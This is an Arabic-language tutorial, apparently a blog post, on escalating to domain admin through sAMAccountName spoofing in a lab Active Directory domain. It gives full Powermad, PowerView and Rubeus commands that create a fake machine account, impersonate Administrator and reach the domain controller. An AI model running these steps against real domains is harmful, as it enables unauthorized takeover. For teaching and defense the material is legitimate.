Domain Privilege Escalation - Sam AccountName Spoofing
السلام عليكم ورحمة الله وبركاته
الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:
مقدمة:
في هذي المقالة راح نشرح التكينك التاسع لي الـDomain Privilege وهو الـ Sam AccountName Spoofing
قبل نبدا نطبق التكنيك خلونا نعرف ايش هي فكرة Sam AccountName Spoofing ؟
هذا التكنيك يتطلب انه يكون لك مستخدم على احد الاجهزة الموجودة على الدومين حتى لو كان بصلاحية منخفضة وفكرة التكنيك ببساطة انه راح ننشأ جهاز مزيف بـأي اسم بعد كذا راح نغير اسم الجهاز المزيف الى نفس اسم الـDomain Controller لكن بدون وضع علامة الـ$ وبعدها نطلب الـTGT الخاصة في جهازنا المزيف بعد كذا راح نغير اسم الجهاز المزيف اللي تم تسميته على اسم الـDomain Controller الى اي اسم اخر ومن ثم نقوم في اعادة استخدام ال TGT السابقة حتى نتمكن من طلب TGS الى اي سيرفرس خاصة في الـDomain Controller مثل cifs او ldap او http
لو تلاحظون انه ذكرت بعد ماناخذ الـTGT الخاصة في جهازنا المزيف نغير اسمه لانه وقت يكون معك TGT وتطلب TGS راح يبحث الـKerberos عن نفس اسم جهازك الموجود في الـTGT اذا مالقية راح يحط اخره علامة $ تلقائيا وهذا راح يتسبب في انه يجيب لنا الـTGS الخاصة في الـDomain Controller لانه الفرق بين اسم جهازك المزيف واسم الـDomain Controller هو علامة الـ$
الشرح:
اولا انا داخل بمستخدم منخفض الصلاحية اللي اسمه tester
راح اسوي Load الى اداة PowerView عن طريق هذا الامر:
import-module .\PowerView.ps1
الان قبل ان ننشأ جهاز مزيف نحتاج نعرف اسم جهاز الـDomain Controller عن طريق هذا الامر:
get-domaincontroller | select name
نلاحظ انه اسم جهاز الدومين كنترولر : JehadDC
الان راح نسوي Load الى اداة PowerMad عن طريق هذا الامر عشان ننشأ جهاز مزيف:
Import-Module .\powermad.ps1
الان راح ننشأ جهاز مزيف بأي اسم تبيه عن طريق هذا الامر ونحط له باسورد معين :
New-MachineAccount -Domain cyber.local -MachineAccount mortal -Password (ConvertTo-SecureString 'Password123' -AsPlainText -Force) -Verbose
الان انشأنا جهاز مزيف اسمه mortal والباسورد الخاص فيه هو Password123
الان عن طريق هذا الامر راح نحذف اي قيمة موجودة في ال Attribute اللي اسمه serviceprincipalname الخاصة في جهازنا المزيف:
Set-DomainObject -Identity mortal -SearchBase 'CN=mortal,CN=Computers,DC=cyber,DC=local' -Clear 'serviceprincipalname'
الان راح نغير اسم الجهاز الى نفس اسم الـDomain Controller لكن بدون وضع علامة الـ$ حتى لا يحدث تكرار عن طريق هذا الامر:
Set-MachineAccountAttribute -MachineAccount "mortal" -Attribute "samaccountname" -Value "JehadDC"
الان راح نطلب الـTGT الخاصة في جهازنا المزيف عن طريق هذا الامر
.\Rubeus.exe asktgt /user:JehadDC /password:Password123 /domain:cyber.local /dc:JehadDC.cyber.local /nowrap
الان بعد ماطلبنا الـTGT راح نرجع ونغير اسم الجهاز المزيف الخاص فينا الى اي اسم اخر عن طريق هذا الامر:
Set-MachineAccountAttribute -MachineAccount "mortal" -Attribute "samaccountname" -Value "mortal"
الان كل اللي علينا نرجع نستخدم اداة Rubeus ونطلب TGS الى اي سيرفرس موجوده على الـDomain Controller مثل cifs او ldap او http عن طريق هذا الامر :)
.\Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/JehadDC.cyber.local /dc:JehadDC.cyber.local /ticket:doIFWjCCBVagAwIBBaEDAgEWooIEczCCBG9hggRrMIIEZ6ADAgEFoQ0bC0NZQkVSLkxPQ0FMoiAwHqADAgECoRcwFRsGa3JidGd0GwtjeWJlci5sb2NhbKOCBC0wggQpoAMCARKhAwIBAqKCBBsEggQXONv4VtKGctK6N8y5hTyGbrczP2TOHiaIN9/Js0nGw9J6TkFLuaQJ2QNPIKTXXbo6RQgptGLkc58P2EGIPMxvEBZ7g/PGyVh4+A4BY3zRA0jccvXCHSgxWLygUy0SuKk0aenBwIBIFKQFfYDlE5sYJ/HqSgI7GLhyzlOenyeCfRIVXUI+7coimDHrb7/cn8zhUZ/IY3TCv4rV9toeZWXfNYBmpoYq5QGX12GqWskZeIuGlVRd3CmYZpSGG6vWMbRZCWGJCj3KcdPvXG7lmqxYWuXJVfQJ1kcZXfwMZqKt9JtCoi8HehDpcGwd2u01c7NxFBLYOL3rVazfgEl5S1ZhNggIH0LDCLcqKQM7+IzjQxs/PcHwmIr/UIEwXYClm3TuW4kf0C1vHVJQC1yxvXJ6EzcHw3zL1zvdX/L+L8NQju/yJqfvdYqhbu9CWRanWdfZNOxKuy1UYuvGvp95fwk2DfH4YWaB4IhIM2vYVTgF9kt7Z66bLHnKsYlrllVZteROn6US78QDDWc59q+3MeXh70b7ZTHR2V+x+M4zp5G8YZCkHfZSM469/+MFv34Y1K9WH2SjgbYryQB+pCnvOoU946AGInRyhQ3NV/XmmWEYTwXxfORuVnkAVQS7emayTKR0SJBT3+0jhiGecwXOP9G07FBAnqx4+VyNR0Ypdppl0zIW0a8y7WNjp0Mgpj8CWO2+fb16HQfS+Kk3iLr1YAAniFDxV40eoRNHz98NA4KEFFPVDprI2g4MaAaQl3afSsbCFPywbFGMjxK5XCeWlgnsBFAK1OxCqU5d8YXSqA4s /ptt
الان راح نشيك عن طريق هذا الامر هل تم حقن ال TGS بنجاح في الميموري او لا (:
klist
الان راح نستخدم اداة PsExec من مايكروسوفت عشان ندخل لي جهاز الـDomain Controller
وصلنا الى نهاية المقالة
شاكر لكم.
التعليقات (0)
لايوجد لديك حساب في عالم البرمجة؟
تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !